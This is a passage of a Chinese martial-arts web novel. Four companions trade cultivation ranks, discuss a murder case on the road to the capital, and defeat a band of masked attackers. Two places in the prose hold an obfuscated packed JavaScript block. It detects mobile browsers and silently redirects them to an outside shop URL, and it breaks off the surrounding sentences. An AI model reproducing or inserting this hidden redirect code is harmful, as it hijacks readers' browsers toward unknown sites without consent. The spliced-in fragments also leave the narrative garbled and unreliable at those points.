“没有。”姜亦顿了顿,“只是好奇,姑娘年纪轻轻,如何习得这般医术毒功?” 姣姣咧嘴一笑:“家里教的呗。我家里人……嗯,比较多,这个教一点,那个教一点,凑合着就会了。” 她说得含糊,姜亦却听出话里深意——什么样的人家,能同时精通医毒,且让一个十五六岁的少女拥有五道四重的修为? 他不再追问,转而看向奕秋:“奕秋姑娘的剑,似乎并非凡品。” 奕秋终于睁眼,看了他一眼。 “剑名无尘。”她道,“师尊所赠。” “姑娘的师尊是?” 奕秋略有停顿,看向正在嗑瓜子的姣姣,淡声道:“已故。” 姣姣注意到小姐的目光,停下嗑瓜子的动作。 “当时我治了好久,没救活。” “唉,生死有命。” 但是语气里到没有什么感伤。 姜亦眼神中多了一丝愧疚,举手作揖:“抱歉。” 奕秋回礼:“不必。” 话题再次戛然而止。 车厢里只剩下姣姣嗑瓜子的咔嚓声,和车轮碾过官道的辘辘声。 闻人奚郁从车厢暗格里取出火折子,点亮固定在壁上的油灯。 暖黄的光晕荡开,映着四人神色各异的脸。 闻人奚郁忽然轻笑:“说起来,同行一路,还未问过诸位境界。既是要联手查案,彼此有个底,也好配合。” 他看向姜亦:“姜亦,你先说?” 姜亦将擦拭好的长剑横置膝上,淡淡道:“尊界二重,剑修。” 话音落,车厢里静了一瞬。 姣姣嗑瓜子的动作停了,眼睛瞪大:“尊界二重?!我去……真的假的?” 姜亦没答,只抬眼看她。 姣姣上下打量他,嘴里啧啧有声:“看着也就二十出头吧?尊界二重……姜公子,你这天赋,放在哪儿都是顶尖了啊!” 姜亦神色平静:“侥幸而已。” “这可不是侥幸能解释的。”姣姣凑近些,圆润的杏眼里满是好奇,“你师父谁啊?原终皇城里,能有这般本事的,就那几个人吧。” 姜亦垂眸:“师尊隐世,不提也罢。” 姣姣撇撇嘴,坐回去,又抓了把瓜子:“行吧,神秘兮兮的。” 闻人奚郁笑着摇头,看向姣姣:“那姣姣姑娘呢?” “我?”姣姣翘起二郎腿,姿态散漫,“五道四重,刚不是露过一手了?擅长医毒,打架嘛……凑合。重要的是——” 她故意拉长声音,眼中闪过狡黠的光。 “我人缘好。” 姜亦眉头微蹙,显然不以为然。 闻人奚郁却笑得温和:“看出来了。姑娘腰间这些信物,寻常人得一样已是难得,姑娘却集了三域之物,确实人缘极佳。” 姣姣得意地晃了晃脚,银铃叮当。 “到你了。”她看向闻人奚郁,“闻人公子什么境界?看你温温柔柔的,不会是个文弱书生吧?” 闻人奚郁笑意未减:“姣姣姑娘猜对了。在下不通武艺,平日只爱看书下棋,偶尔帮朋友出出主意。” 他说着,看向姜亦,扬了扬下颌。 “我是他的朋友,也算个谋士。” 姜亦与他对视一瞬,微微颔首,没否认。 姣姣眨眨眼,目光在两人之间转了个来回,咧嘴一笑。 一直闭目养神的奕秋,此刻忽然开口。 “尊界一重,卦剑双修。” 声音平静,却像一颗石子投入湖面。 姜亦擦拭剑鞘的手彻底停了。 他抬眼看向奕秋,眼中是毫不掩饰的惊异。 尊界。 即便是尊界一重,也是站在江湖顶端的存在。整个天下,明面上踏入尊界的不过十人,每一个都是一方巨擘,名动四海。 而眼前这个看起来不过二十出头的白衣女子,竟是尊界? 饶是姜亦这般心性,此刻也难掩震动。 “奕秋姑娘……”他缓缓道,“当真是深藏不露。” 奕秋没接话,重新闭目。 闻人奚郁却笑意更深,仿佛早有所料:“东夷隐世,果然名不虚传。姜亦,咱们这趟游历,值了。” 姜亦沉默良久,才低声道:“确实。” 他目光扫过奕秋冷淡的侧脸,又掠过姣姣散漫的笑颜,最后与闻人奚郁对视一眼。 两人心中同时浮起同一个念头—— 这趟原终之行,恐怕远比想象中,要有趣得多。 也危险得多。 姣姣可没想那么多。 她听完奕秋的话,只是“哦”了一声,继续嗑瓜子,仿佛尊界一重和路边卖菜的大婶没什么区别。 “尊界一重,尊界二重……”她掰着手指算,“加上我五道四重,咱们这队伍,是不是有点太厉害了?” 闻人奚郁失笑:“厉害不好么?” “好是好,”姣姣歪头,“就是容易惹麻烦。你们想啊,四个高手凑一块儿,别人一看——嚯,这阵容,肯定有大事要干。到时候什么牛鬼蛇神都凑过来,多烦人。” 姜亦淡淡道:“若真有事,来了便来了。” “霸气!”姣姣竖起大拇指,随即又垮下脸,“但打架很累的啊,我宁愿叫人。” 闻人奚郁饶有兴致:“姣姣姑娘似乎很擅长‘叫人’?” “那是!”姣姣来劲了,坐直身子,“我跟你讲,江湖不是打打杀杀,江湖是人情世故!你功夫再高,能打十个、一百个,能打一千个吗?但如果你认识的人够多,够厉害,很多时候根本不用自己动手。” 她说着,从腰间解下一枚黑铁令牌,在手里抛了抛。 “看见没?灰鼠帮的客卿令。前年他们帮主中毒,我随手给解了,硬塞给我的。说只要拿着这令牌,北疆三州七十二城的灰鼠帮分舵,随我差遣。” 闻人奚郁轻笑一声。 她又摸出一块温润白玉:“这个,原终陈夫子的信物。他老人家腿脚不好,我给他扎了几针,现在能跑能跳,非要给我这个,说遇到官府麻烦就亮出来。” 姜亦环抱着他的本命剑,闻言抬了头,左耳的赤金琉璃耳坠也随之动作而摇晃。 秾丽无比。 再摸出一枚兽牙:“北疆的一个将军亲自猎杀狼王,把这狼牙赠予我。他儿子狩猎摔下山崖,我正好路过,给接骨正位,救了条命。说什么这玩意儿在北疆比圣旨还好使。” 闻人奚郁笑眯眯的点头,眸光流转,仿佛在思虑什么。 然后又拍了拍自己的腰包。 “这里面珍贵药材无数,南水的名声响当当的毒医赠予我。” “我给你们说,南水那一群毒医,都是废物,没一个能顶用的。” 姜亦听得眉头一皱,开口:“南水名声最响亮的毒医,应该是南水主花归鸢吧。” “姑娘,你这句话,有些狂妄。” 闻言,姣姣没有尴尬,反而笑的不行。 “我给你说,这个人,我还真认识。” 姜亦眉头两皱,开口:“南水主闭门炼丹,即便四域之主都只有几面之缘,姣姣姑娘如何认识。” 姣姣睨了他一眼:“我都说了,我人缘很好的!” 姜亦还想开口,姣姣便打断了他,又开始介绍她那些信物。 姜亦眉头三皱,没开口。 闻人奚郁在一边憋笑。 她如数家珍,一口气展示了七八样信物,每一样背后都是一段“我帮了谁,谁欠我人情”的故事。 姜亦听得眉头越皱越紧。 他终于忍不住开口:“你这些年……到底救过多少人?” 姣姣眨眨眼,笑得无辜:“没数过。反正走到哪儿,看到有麻烦就顺手帮一把。我这人没别的优点,就是心善。” 闻人奚郁轻笑:“这不是心善,这是智慧。广结善缘,行走天下便如鱼得水。姣姣姑娘年纪虽小,处世之道却已臻化境。” “闻人公子懂我!”姣姣一拍大腿,随即又瘫回软垫,“不过说真的,打架真累。能叫人为什么要自己动手?你们这些高手啊,就是太要面子。” 姜亦:“……” 他忽然觉得,跟这丫头说话,容易内伤。 一直沉默的奕秋,此刻忽然又开口。 “到了。” 姜亦和闻人奚郁同时一怔。 姣姣探头出车窗,只见暮色尽头,官道旁出现一座简陋的驿站,门前挂着盏昏黄的灯笼,在风里摇摇晃晃。 “今晚在此歇脚。”奕秋说完,率先下车。 姣姣麻利地穿好鞋,跳下车厢,伸了个懒腰。 “总算到了——坐得我腰都酸了。” 姜亦和闻人奚郁随后下车。 * 四人走进驿站,掌柜是个胖乎乎的中年汉子,见他们气度不凡,忙殷勤安排上房。 “四位客官,小店只剩三间上房了,您看……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437467|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奕秋淡淡道:“我与她一间。” 指的是姣姣。 掌柜看向姜亦和闻人奚郁。 姜亦正要开口,闻人奚郁已温声道:“我与姜亦一间即可。” 姜亦看他一眼,没反对。 掌柜连忙应下,引着四人上楼。 房间很简陋,但还算干净。姣姣一进门就扑到床上,打了个滚。 “累死我了——” 奕秋走到窗边,推开一条缝,望向漆黑的原野。 “他们还在跟。”她忽然道。 姣姣瞬间从床上弹起来,凑到窗边。 奕秋声音平静,“从听风镇跟出来的。” 姣姣眯起眼,眼中闪过一丝冷光:“真是阴魂不散……小姐,要处理掉吗?” “不必。”奕秋关窗。 姣姣“哦”了一声,又瘫回床上。 隔壁房间。 姜亦站在窗边,同样望着夜色。 闻人奚郁坐在桌旁,慢条斯理地斟茶。 “那五人跟了一路了。”姜亦忽然道。 “嗯。”闻人奚郁将一杯茶推到他手边,“修为不低,训练有素,像是军中出身。” “原终军中,能一次调动五名五道高手的,不超过三人。” “所以,”闻人奚郁抬眸,眼中笑意渐冷,“咱们这趟要查的,是条大鱼。” 姜亦沉默片刻,转身拿起茶杯,一饮而尽。 “睡吧。”他道,“明日还要赶路。” 闻人奚郁看着他的背影,轻声问:“你猜,隔壁那两位,现在在聊什么?” 姜亦动作一顿。 “……不知道。” 但他忽然想起姣姣腰间那些信物,想起奕秋那句平静的“尊界一重”,想起这一路两人展现出的深不可测。 也许,是有人一直等在路上。 * 夜色渐深。 姣姣在床上翻来覆去,终于忍不住坐起来。 “小姐。” 奕秋盘膝坐在榻上,闻言睁眼:“嗯?” “你说,姜亦和闻人奚郁,到底是什么人?” 奕秋没答。 姣姣托着腮,自顾自往下说:“一个尊界二重,一个看似文弱实则深不可测的谋士……这种组合,放在哪儿都不是寻常人物。” 她笑得促狭。 突然,又好像想到了什么,她重新躺下,敛了笑意,望着帐顶,忽然轻声说:“他们两个,倒是挺像我的两个…好友。” 奕秋侧躺着,没什么动作。 “不过……小姐,你不觉得,这样挺好玩吗?” “嗯?” “捡了个剑客和谋士,一起闯江湖。”姣姣眼中闪着光。 奕秋没说话。 姣姣翻了个身,面朝她,眼睛亮晶晶的:“而且你发现没,他们俩在猜咱们的身份。姜亦肯定怀疑你是东夷高层,闻人奚郁估计连我‘南水关系匪浅’都猜到了。” “但他们绝对想不到,咱们到底是谁。” 她说着,吃吃笑起来。 “真好玩。” 奕秋看着她孩子气的笑容,眼底掠过一丝极淡的温柔。 “睡吧。”她重新闭目,“明日路还长。” 姣姣“嗯”了一声,乖乖闭眼。 夜色沉寂。 驿站外,五道黑影隐在树林中,为首之人打了个手势。 “继续跟。” “头儿,那白衣女子似乎发现我们了。” “发现又如何?”首领冷笑,“到了原终地界,是龙得盘着,是虎得卧着。继续监视,有任何异动,立刻回报。” “是。” 黑影散去,融入夜色。 而驿站二楼,四个房间里,四个人都未真正入睡。 姜亦在擦拭长剑,剑身在月光下泛着冷光。他擦得很慢,一下,一下,像是在想什么事。剑身映出他的脸,那张秾丽的脸上没什么表情,但眉头微微蹙着。 闻人奚郁在灯下看书,书页半晌未翻。他的目光落在某一页上,但眼神是空的,显然心思不在书上。 奕秋在打坐调息,周身气息沉静如渊。她的呼吸极轻,轻到几乎听不见,但仔细看的话,她的眉头微微蹙着,像是感应到了什么。 姣姣…… 姣姣睡着了,还做了个梦。 梦里,她带着新认识的剑客和谋士,闯进一座金碧辉煌的宫殿,一脚踹开大门,叉腰大喊: “里面的听着!我们是来查案的!识相的快把黄金交出来——” 然后她就被奕秋用剑鞘敲醒了。 天亮了。 晨光熹微时,四人再次上路。 马车驶出驿站,沿着官道向原终皇城方向行去。 姣姣扒在车窗边,看着逐渐开阔的原野,忽然感叹:“其实这样也挺好的。” 闻人奚郁笑问:“怎样?” “四个人,一辆车,一路往一个地方去。”姣姣回头,笑得灿烂,“不问来处,不问去处,只为了一件事,走到一起——这不就是江湖吗?” 姜亦握着剑鞘的手,微微收紧。 闻人奚郁眼中笑意渐深。 奕秋依旧闭目,唇角却几不可察地,弯了一瞬。 姣姣托着腮,看着窗外飞逝的风景,心里美滋滋地想: 好玩,真好玩。 马车辘辘,驶向朝阳升起的方向。 前方,是原终。 也是一场盛大江湖的开端。 4. 茶影古道客笑谈 马车又走了不知多久。 日头渐渐偏西,官道两旁的树木投下长长的影子。风吹过,叶子沙沙响,有几片飘进车窗,落在姣姣怀里。 她捏起一片叶子,对着阳光看了看,又对着闻人奚郁晃了晃。 “闻人公子,你看这叶子,像不像一只蝴蝶?” 闻人奚郁凑过来看了一眼,笑道:“还真有点像。” 姣姣把叶子往他手里一塞:“送你了。” 闻人奚郁愣了一下,随即笑着收下:“多谢姣姣姑娘。” 姜亦在旁边看着,嘴角微微抽了一下。 姣姣又趴回车窗边,继续看风景。 过了一会儿,她忽然说: “小姐,咱们离皇城还有多远?” 奕秋眼都没睁:“明日可到。” “还得一晚上啊……”姣姣往后一靠,整个人瘫在软垫上,“坐得我腰都酸了。” 闻人奚郁笑着递过来一个靠枕:“垫着。” 姣姣接过来,塞到腰后,舒服地哼了一声。 “闻人公子,你这人还挺细心的。” 闻人奚郁摇着折扇,笑眯眯的:“出门在外,互相照应嘛。” 姜亦在旁边“嗤”了一声,也不知是在笑什么。 姣姣扭头看他:“姜大侠,你笑什么?” 姜亦别过脸:“没什么。” “你肯定在笑我。” “没有。” “有。” “……” 两人你一言我一语,吵了几句没营养的。闻人奚郁在旁边笑得不行,奕秋依旧闭着眼,但嘴角微微动了一下。 马车又走了一阵,路边出现一座茶棚。 很简陋的那种,几根木头撑着茅草顶,底下摆着三五张木桌木凳。棚后头有个老婆婆在烧水,一个十来岁的小丫头端着茶碗来回跑。 赶车的把式勒住马,回头问:“几位客官,天色不早了,前头再走两个时辰才有驿站。不如在这儿歇歇脚,喝碗茶,解解乏?” 姜亦看向闻人奚郁。 闻人奚郁点头:“也好。” 四人下车。 姣姣一下车就伸了个大大的懒腰,骨头噼啪响。她眯着眼看了看那茶棚,又看了看天边已经开始泛红的云彩。 “这天儿,快黑了。” 茶棚里只有一桌客人,是个赶路的中年汉子,埋头吃面,头都不抬。 四人捡了张干净些的桌子坐下。 小丫头跑过来,端着四碗茶,茶碗粗糙得很,边沿还有缺口,但茶汤热气腾腾的。 “客官请用茶。”小丫头声音脆生生的。 姣姣看了她一眼,笑起来:“你多大啦?” “十一。” “十一就跑堂,不累吗?” 小丫头摇头:“帮奶奶干活,不累。” 姣姣笑了笑,没再问。 姜亦端起茶碗,闻了闻,抿了一口,眉头微微皱起。 “有点涩。” 姣姣闻言,愣了一瞬。 然后从腰间摸出个小瓷瓶,往姜亦的茶碗里倒了一点粉末,晃了晃,然后挑挑眉毛示意他再尝尝。 姜亦再抿一口,眉头舒展了。 “姣姣姑娘,当真擅长毒医。” 小丫头在旁边看得眼睛发直。 姣姣冲她眨眨眼:“想知道我加了什么?” 小丫头使劲点头。 姣姣把小瓷瓶递过去:“给你闻闻。” 小丫头凑近闻了闻,皱起小脸:“苦的?” “苦就对了。”姣姣把瓷瓶收回去,“这是我自己配的,能提香,还能解乏。小孩子不能多闻。” 小丫头“哦”了一声,又跑去忙了。 闻人奚郁看着这一幕,笑道:“姣姣姑娘随身带的这些瓶瓶罐罐,倒是不少。” “那是。”姣姣得意地晃了晃腰间的香囊,“吃饭的家伙,能不带吗?” 茶喝到一半,姣姣忽然开口: “说起来,咱们那案子,你们怎么看?” 她这话问得没头没尾,但在座三人都知道她在说什么。 姜亦放下茶碗:“三具尸体,三种手法,但都是伪造的。真正的线索,在那玉屑上。” “冰心玉。”闻人奚郁接话,“原终皇室特供,能接触到这东西的,不是宫里的人,就是军械库的。” “冰心玉坚韧,价格不菲,军中人常用。” 奕秋没说话,只是端起茶碗,抿了一口。 “玉质坚韧…”姣姣眼神一转,落在茶汤上,“但是它却碎了。” “这是有人想告诉我们什么。” “偷天换日。”奕秋开口。 姣姣点头,表示认可。 四个人沉默良久。 姣姣托着腮,看着碗里的茶汤:“那你说,凶手为什么要伪造三大域的手法?生怕别人不知道这案子牵扯广?” “也许不是生怕别人不知道。”闻人奚郁摇着折扇,“是生怕别人知道,这案子其实只牵扯一家。” 姜亦点头:“把水搅浑,让人以为是三大域的恩怨,查起来就会往那三个方向去。真正的线索,反而被藏住了。” 姣姣眨眨眼:“所以那玉屑,是故意留下的?” “十有八九。”闻人奚郁道,“冰心玉质坚韧,不易断裂,但是凶手用的,确实残玉。” 奕秋忽然开口:“第一具尸体的剑痕处,也有玉屑。” 四人沉默了一瞬。 三具尸体,三处伤口,都有玉屑。 是那个人用的剑,剑格上镶的玉,一直在碎。 姜亦皱眉:“什么人会带着一柄剑格有裂痕的剑,连杀三人?” “不是有裂痕。”姣姣忽然说,“是一边杀一边碎。” 她眯起眼,手指轻轻敲着桌面。 姜亦垂着头,看不出什么表情。 然后他抬起头,看向一旁静坐的奕秋:“奕秋姑娘,在下一直想问,你的卦,可以看出所有玄机吗?” 奕秋睁眼,点头。 “你可否起一卦。” 奕秋没有动,淡声:“此行,涉及前尘冤案。” 姜亦一顿。 “东夷卦术…名不虚传。” “尊界功力,更是恐怖如斯。” “姜公子,你们原终,之前是不是有个冤案啊?” 姜亦看向姣姣,眉头微皱。 见状,姣姣笑起来。 “十几年前,镇国将军所统领的羽林军谋逆之罪,涉及案件的所有人,全部斩杀。” “你如何得知。” 姜亦有些诧异,放下茶碗,茶汤随着动作晃出。 姣姣笑了:“我说了,我人缘很好。” 姣姣喝了一大口茶,砸吧砸吧嘴,又道:“所以他故意留下玉屑,是为了把我们往羽林军当时战败的原因上推?” 闻人奚郁眼中闪过一丝赞赏:“姣姣姑娘这脑子,转得真快。” “那是。”姣姣一点都不谦虚,“我这人除了人缘好,脑子也好使。” 姜亦看她一眼,没说话,但嘴角微微动了一下。 天色渐渐暗下来。 茶棚的老婆婆过来添茶,顺口问:“几位客官是去皇城的?” 闻人奚郁点头:“对,去办点事。” 老婆婆叹口气:“皇城啊……这阵子不太平。” 姣姣眼睛一亮:“怎么个不太平法?” 老婆婆压低声音:“听来往的客人说,死了人,死了好几个。官府查不出来,急得团团转。说是手法怪得很,又是剑又是掌又是毒的,三大域的功夫全用上了。” 四人交换了一个眼神。 “可知道死的都是什么人?”姜亦问。 老婆婆摇头:“这就不清楚了。不过听说,死的都是有些身份的,不然官府也不会那么急。” 她说完,又去忙了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437468|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 姣姣凑到奕秋耳边,压低声音:“小姐,跟咱们那个案子,会不会是同一伙人?” 奕秋没说话,只是端起茶碗,抿了一口。 天彻底黑了。 赶车的把式过来问:“几位客官,前头再走两个时辰才有驿站,但天黑了路不好走。不如就在这儿住一晚?这茶棚旁边有个小客栈,虽然简陋,但干净。” 姜亦看向闻人奚郁。 闻人奚郁点头:“也好,明早再赶路。” 小客栈就在茶棚后面,是几间土坯房,院子不大,但收拾得干净。 老板娘是个三十来岁的妇人,见有客人来,忙迎出来。 “几位客官住店?有房,干净得很。” 闻人奚郁上前,要了三间房。 四人各自进房歇下。 夜里。 姣姣躺在床上,翻来覆去睡不着。 “小姐。” “嗯。” “你说,皇城那个案子,跟咱们查的那个,是不是同一伙人干的?” 奕秋沉默了一会儿,说:“手法相同,应该是。” 姣姣坐起来,眼睛亮晶晶的:“那咱们是不是撞大运了?一个案子没查完,又来了一个?” 奕秋看她一眼:“你不怕麻烦?” “怕什么麻烦。”姣姣嘿嘿笑,“越麻烦越好玩。再说了,有小姐你在,我怕什么。” 奕秋没说话。 姣姣又躺回去,望着帐顶,忽然说: “小姐,你说姜亦和闻人奚郁,知道皇城那个案子吗?” 奕秋道:“知道。” “他们为什么不说?” “等我们问。” 姣姣愣了一下,然后笑了。 “也是。他俩那性子,等着别人先开口。” 她翻了个身,面朝奕秋。 “小姐,你说他俩到底是什么人?” 奕秋沉默了一会儿,说:“不简单。” “废话。”姣姣笑起来,“我当然知道不简单。我是问你,你猜他们是谁?” 奕秋没答。 姣姣等了一会儿,没等到回答,也不恼。 “算了,反正早晚会知道。” 她打了个哈欠,闭上眼睛。 隔壁房间。 姜亦坐在窗边,看着窗外的夜色。 闻人奚郁坐在桌旁,慢条斯理地翻着一本书。 “刚才茶棚老婆婆的话,你听见了。”姜亦忽然开口。 闻人奚郁头也不抬:“听见了。” “你怎么看?” “跟咱们的案子,手法一样。”闻人奚郁翻了一页书,“冰霜剑痕、破山掌印、蚀骨缠毒,三大域的手法全用上了。连伪造的方式都一样。” 姜亦沉默了一会儿。 “那两个人……”他说,“她们应该也猜到了。” 闻人奚郁终于抬起头,笑了笑:“姜亦,你越来越了解她们了。” 姜亦没理他,继续看着窗外。 闻人奚郁合上书,站起来,走到窗边,跟他并肩站着。 “你说,”他轻声道,“她们到底是什么人?” 姜亦沉默了很久。 然后他说:“不知道。但我知道,她们不会害我们。” 闻人奚郁看他一眼,笑了笑,没再问。 夜色更深了。 驿站外,树林里。 黑影依旧隐在暗处。 只不过,这一次是二十几道人影。 为首那人看着驿站的窗户,低声道:“那几个人,不简单。” 旁边的人问:“头儿,还要跟吗?” “跟。”那人道,“主上有令,无论他们查到什么,都要盯死。必要时——” 他顿了顿,做了个抹脖子的手势。 “明白。” 黑影散去。 夜风刮过,树枝摇晃,像是有什么东西在低语。 5. 血染古道西风瘦 天刚蒙蒙亮,四人就起来了。 老板娘已经准备好了早饭,热粥、馒头、咸菜,简单但管饱。 姣姣一口气吃了两个馒头,喝了两碗粥,这才心满意足地放下碗。 “这咸菜不错,酸脆爽口。” 老板娘笑道:“自家腌的,姑娘喜欢就带点路上吃。” 姣姣还真不客气,让人家给包了一小包,揣进怀里。 闻人奚郁在旁边看着,笑着摇头。 姜亦吃得慢条斯理,跟他张扬的外表不太搭。他喝粥的样子也很斯文,像是有教养的世家公子。 姣姣看着看着,忽然说: “姜大侠,你吃相倒是不错。” 姜亦抬眼看他:“什么意思?” “没什么意思。”姣姣咧嘴一笑,“就是觉得,你这人看着张扬,吃东西倒挺斯文。” 姜亦没理她,继续喝粥。 闻人奚郁在旁边笑出声。 吃完早饭,四人重新上路。 马车驶出小客栈,沿着官道继续向北。 天色渐渐亮起来,官道两旁的田野笼罩在薄薄的晨雾里,像蒙了一层纱。偶尔有早起的农人赶着牛车经过,车轱辘吱呀吱呀响。 姣姣扒在车窗边,看着那些雾,忽然说: “这雾真好看。” 姜亦靠在车厢壁上,闭着眼睛:“那是晨雾,再过一个时辰就散了。” “你怎么知道?” “原终人,当然知道。” 姣姣“哦”了一声,又看了一会儿,忽然想起什么: “对了姜大侠,你在原终皇城,认不认识什么当官的?” 姜亦睁开眼:“认识几个。怎么?” “那到时候查案子,要是需要找官府的人帮忙,你能出面不?” 姜亦沉默了一瞬,说:“可以。” 姣姣眨眨眼,等着他往下说。 但姜亦没再说了。 姣姣撇撇嘴,又去看窗外。 马车又走了一个时辰,日头渐渐升高,晨雾散尽。 官道两旁是一片开阔的田野,种着庄稼,绿油油的。远处有村庄,炊烟袅袅,偶尔传来几声狗叫。 闻人奚郁摇着折扇,看着窗外的风景,忽然说:“这地方倒是不错,比北疆暖和多了。” 姣姣扭头看他:“闻人公子去过北疆?” 闻人奚郁笑了笑:“算是去过。” “北疆什么样?” “冷。”闻人奚郁言简意赅,“很冷。冬天能把人冻成冰棍。” 姣姣笑起来:“那你还去?” “游历嘛,总要到处看看。” 姣姣点点头,又看向姜亦:“姜大侠去过哪儿?” 姜亦想了想:“原终境内差不多都去过。北疆去过一次,南水去过一次。” “东夷呢?” 姜亦摇头:“没去过。” 姣姣咧嘴一笑:“那正好,我家小姐就是东夷的,你问她。” 姜亦看向奕秋。 奕秋依旧闭着眼,淡淡道:“东夷没什么好去的。” 姣姣在旁边“噗嗤”笑出声:“小姐,你也太不给东夷面子了。” 奕秋没理她。 马车继续向前。 又走了一炷香的功夫,姜亦忽然睁开眼。 “停车。” 赶车的把式吓了一跳,连忙勒住马。 “客官,怎么了?” 姜亦没答,只是看向窗外。 闻人奚郁收起折扇,脸上的笑意淡了几分。 姣姣拨开车窗挂穗,观察着车外,然后快速起身,将赶车的把式拽进车里。 奕秋忽然说:“来了。” 话音刚落,官道两旁的田野里,忽然涌出二十几道人影。 黑衣蒙面,手持利刃,动作整齐划一,瞬间将马车团团围住。 全是五道高手。 领头的那个站在最前面,周身气息最为浓厚,赫然是五道四重——和姣姣一样。 “车里的朋友,”他开口,声音沙哑,“下来聊聊?” 姜亦没动。 姣姣也没动。 奕秋依旧闭着眼。 领头人站在车外,见车里人无视他的存在,什么时候受过这委屈:“找死。” 闻人奚郁叹了口气,摇着折扇:“这阵仗,可真不小。” 姜亦看他一眼:“你呆在车里。” “那当然。”闻人奚郁理所当然地说,“我一个不会武功的文弱书生,出去不是送死吗?” 姜亦懒得理他,起身掀开车帘,跳了下去。 姣姣跟着跳下去。 二十几道人影齐刷刷看向他们。 姜亦站在那里,墨绿劲装,左耳赤金麒麟坠在阳光下晃了晃。 他扫了一眼那些人,忽然笑了。 “二十三个。这案子挺大呀,一接手就这么大阵仗。” 姣姣站在他旁边,双手抱胸,也笑了:“这得多怕我们死不了,搞来这么多人。” 领头那人脸色一沉:“少废话,动手!” 话音落,二十几道人影同时扑上来。 刀光亮成一片。 姜亦拔剑。 剑光炸开的瞬间,冲在最前面的三个人直接被震飞出去,砸在田野里,半天爬不起来。 姣姣没动。 她就站在原地,看着那些人扑过来。 第一刀劈到她面门。 她侧身躲开,顺手一把粉末撒出去——冲上来的两个人猛地捂住眼睛,惨叫出声。 第二刀刺向她后心。 她往前一步,刀尖擦着后背划过去,连衣角都没碰到。 第三刀、第四刀、第五刀—— 她像一片落叶,在刀光里飘来飘去,每一次都险之又险地避开,每一次都差之毫厘,但每一次都正好没被砍中。 那些黑衣人越打越心惊。 这姑娘明明只有五道四重,怎么打起来,感觉比五道四重厉害得多? 姣姣一边躲,一边还在笑。 “你们这刀法,谁教的?太慢了。” 她忽然欺身而上。 一拳砸在一个黑衣人脸上,那人横飞出去。一脚踹在另一个腹部,那人捂着肚子跪了下去。 又一掌拍在第三人胸口,那人吐血倒飞。 一套动作行云流水,又快又狠。 领头那人脸色变了。 他亲自冲上来,一刀劈向姣姣面门。 姣姣侧身躲开,同时一拳砸在他肋下。 “砰!” 那人闷哼一声,后退一步。 他低头看了看自己的肋下,那里有个拳头印,衣服都碎了。 “你——” 姣姣没让他说完。 她又是一拳,砸在他胸口。 那人再退一步。 姣姣第三拳砸在他腹部。 那人弯下腰,捂着腹部,还没直起来,就被姣姣一把抓住后领,右腿一旋,勾住他的腰—— 姣姣腰部发力。 “呃啊——!” 那人整个人被她掀飞出去,砸翻了后面冲上来的三个人。 另一边,姜亦打得更是轻松。 他剑都没怎么出,就是站在那里,随手挥几下,就有人飞出去。 但打着打着,他发现姣姣那边有点不对劲。 这姑娘明明只有五道四重,怎么打起来,比他见过的任何一个五道四重都猛? 她没用法力,就是纯内力、纯拳脚,还有那些乱七八糟的毒粉。但每一招每一式,都恰到好处。 姜亦忽然笑了。 “姣姣姑娘,你这身手,可不止五道四重吧?” 姣姣一拳砸飞一个人,回头冲他咧嘴一笑:“姜大侠过奖,我这人就爱打架,打得多了,自然就熟了。” 姜亦挥剑震退三个人,笑道:“那咱们比比,谁撂倒的多?” “行啊!”姣姣眼睛一亮,“输了的人请客!” “成交!” 两人同时出手。 剑光炸开,拳风呼啸。 那二十几个黑衣人,本来就被打得七零八落,这会儿更惨了。 姜亦一剑一个,干净利落。 姣姣一拳一个,拳拳到肉。 打到一半,有个黑衣人实在撑不住了,喘着粗气喊:“头儿!这俩是怪物!打不过!” 领头那人已经被姣姣掀飞三次了,趴在地上起不来。 他挣扎着抬头,看着那两个还在说笑的人,差点吐血。 他这边二十三个人,个个是五道高手,训练有素,配合默契。 结果呢? 那两个人一边打一边聊天,像是在逛街。 “姜大侠,你左边那个要跑了!” “跑不了。” 剑光一闪,那人应声倒地。 “姣姣姑娘,你后头那个偷袭。” “让他来。” 那人刚举起刀,就被姣姣一脚踹飞。 领头那人躺在地上,绝望看着这一幕,忽然觉得这趟任务接亏了。 又一个黑衣人被打飞,砸在路边的树上,树枝咔嚓断了,人挂在上面,晃晃悠悠。 姜亦看了一眼,笑道:“这树上还能挂一个,不错。” 姣姣顺着他的目光看过去,也笑了:“姜大侠,你这准头可以啊。” “一般一般。” “谦虚什么,就是厉害。” 两人一边打一边聊,完全没把那二十几个黑衣人放在眼里。 有个黑衣人趁着他们说话,偷偷摸到姣姣身后,一刀刺过去。 姣姣头都没回,反手一拳砸在他脸上。 那人闷哼一声,倒飞出去,正好砸在另一个刚爬起来的人身上,两个人滚成一团。 姜亦看得直笑:“姣姣姑娘,你这背后长眼了?” “没有。”姣姣咧嘴一笑,“就是耳朵好使。” 马车里。 闻人奚郁掀开车帘一角 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他这边二十三个人,拼了命地打,结果人家在数人头,还吵起来了? 这是什么人啊? 姣姣吵着吵着,忽然看向那个黑衣人,笑眯眯地问: “你说,他撂倒几个?” 黑衣人愣了愣,下意识回答:“十……十二个……” 姣姣脸垮了。 姜亦笑得张扬,左耳坠晃来晃去。 “听见没?有人作证。” 姣姣哼了一声,走到那个黑衣人面前,蹲下。 黑衣人浑身一抖:“你、你要干什么?” 